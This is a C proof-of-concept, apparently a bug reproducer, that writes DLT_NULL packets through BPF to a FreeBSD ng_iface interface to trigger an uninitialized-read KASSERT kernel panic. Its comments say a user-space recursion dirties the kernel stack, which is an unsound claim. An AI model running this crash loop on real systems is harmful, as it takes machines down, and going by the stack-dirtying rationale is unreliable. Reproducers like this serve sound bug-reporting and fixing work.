/*
 * DF-0607 — BPF write to ng_iface reads uninitialized sa_data -> KASSERT panic
 *
 * For DLT_NULL (ng_iface's link type), bpf_movein() sets sa_family=AF_UNSPEC
 * and hlen=0, so the sa_data field of the stack-local `struct sockaddr dst`
 * in bpfwrite() is never initialized. ng_iface_output() then bcopy()s 4 bytes
 * of that garbage into `af` and sets dst->sa_family = (uint8_t)af. When the
 * low byte is 0, sa_family stays AF_UNSPEC and ng_iface_bpftap()'s
 * KASSERT(family != AF_UNSPEC) fires -> kernel panic (INVARIANTS on by default).
 *
 * Build:  cc -o df-bpf-panic df-bpf-panic.c
 * Setup:  kldload ng_iface; ngctl mkpeer iface dummy inet   # creates ng0
 * Run:    ./df-bpf-panic ng0
 *
 * Requires root (BPF write access: /dev/bpf* are crw------- root wheel).
 */

#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <net/if.h>
#include <net/bpf.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

/*
 * Dirty the kernel stack with a known pattern before each write.
 * The bpfwrite() stack frame reuses whatever residue previous syscalls left.
 * By calling a deep call chain that writes zeros near the end of the stack,
 * we maximize the probability that the low byte of dst.sa_data is 0.
 */
static void __attribute__((noinline))
dirty_stack_zero(int depth)
{
    volatile char buf[256];
    memset((void *)buf, 0, sizeof(buf));
    /* force the compiler to keep the buffer */
    asm volatile("" :: "r"(buf) : "memory");
    if (depth > 0)
        dirty_stack_zero(depth - 1);
}

int
main(int argc, char **argv)
{
    const char *ifname = (argc > 1) ? argv[1] : "ng0";
    int fd, n, errcount = 0, okcount = 0;
    u_int blen = 32768;
    struct ifreq ifr;

    fd = open("/dev/bpf", O_RDWR);
    if (fd < 0) {
        perror("open /dev/bpf");
        fprintf(stderr, "NOTE: BPF requires root. Run as root.\n");
        return 1;
    }

    if (ioctl(fd, BIOCSBLEN, &blen) < 0) {
        perror("BIOCSBLEN");
        close(fd);
        return 1;
    }

    memset(&ifr, 0, sizeof(ifr));
    strncpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name) - 1);
    if (ioctl(fd, BIOCSETIF, &ifr) < 0) {
        perror("BIOCSETIF");
        fprintf(stderr, "Is %s up? Try: kldload ng_iface; ngctl mkpeer iface dummy inet\n", ifname);
        close(fd);
        return 1;
    }

    n = 1;
    if (ioctl(fd, BIOCIMMEDIATE, &n) < 0)
        perror("BIOCIMMEDIATE (non-fatal)");

    printf("DF-0607: bound to %s, writing DLT_NULL packets in tight loop...\n", ifname);
    printf("Expect: kernel panic (KASSERT in ng_iface_bpftap) if stack garbage low byte == 0\n");
    fflush(stdout);

    /*
     * DLT_NULL packet: 4 bytes AF + payload.
     * We send AF_INET (2) so that if the bug were FIXED (AF read from mbuf),
     * the write would succeed (packet forwarded to inet hook).
     * With the BUG (AF read from uninitialized sa_data), the write usually
     * fails with EAFNOSUPPORT or panics.
     */
    unsigned char pkt[8];
    memset(pkt, 0, sizeof(pkt));
    pkt[0] = AF_INET;  /* AF_INET = 2, little-endian 4-byte word */

    int i;
    for (i = 0; i < 200000; i++) {
        /* dirty the stack with zeros to maximize chance of low-byte-0 panic */
        dirty_stack_zero(3);

        ssize_t w = write(fd, pkt, sizeof(pkt));
        if (w < 0) {
            if (errno == EAFNOSUPPORT || errno == EOPNOTSUPP ||
                errno == ENETDOWN || errno == EINVAL)
                errcount++;
            else
                errcount++;
        } else {
            okcount++;
        }

        if (i % 50000 == 0) {
            printf("  iter %d: ok=%d err=%d (last errno=%d:%s)\n",
                   i, okcount, errcount, errno, strerror(errno));
            fflush(stdout);
        }
    }

    printf("DONE: ok=%d err=%d out of %d writes\n", okcount, errcount, i);
    printf("If the kernel is still alive, the panic didn't fire (stack garbage\n");
    printf("low byte was non-zero for all iterations). Check errcount for\n");
    printf("EAFNOSUPPORT-like errors (evidence of uninitialized sa_data read).\n");
    close(fd);
    return 0;
}
